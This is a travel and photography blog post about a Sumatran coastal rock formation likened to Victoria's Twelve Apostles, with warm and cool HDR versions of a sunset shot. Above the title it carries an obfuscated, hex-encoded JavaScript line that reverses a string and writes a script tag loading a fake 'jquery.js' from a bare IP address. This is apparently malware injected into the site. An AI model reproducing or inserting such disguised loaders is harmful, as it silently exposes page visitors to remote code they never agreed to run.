var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0])); The Apostle of Sumatra – Bruce Levick – Photographer – Artist – Traveler – Conservationist

The Apostle of Sumatra


Driving along the south west coast of Sumatra between the Seblat Elephant Conservation Center and Bengkulu city, I have done countless times, but only just recently I caught a glimpse of something through the trees scattered along the coast and suddenly I was transported back to the Great Ocean Road in Victoria, in my trusty hi-ace camper-van scouting Australia for some great landscapes. I had to do a double take and for sure there it was, Sumatra’s own Apostle. I made a mental note to come back as soon as possible as I wasn’t travelling alone at the time. So exactly one week later I ventured back and re-found the little apostle in order to capture it’s beauty in setting sun over the Indian ocean.
I post processed two images in HDR (high dynamic range) and decided to do two variations, one with a warm tone and one with a cooler tone. Which one do you prefer?

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Warmer tone

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Cooler tone


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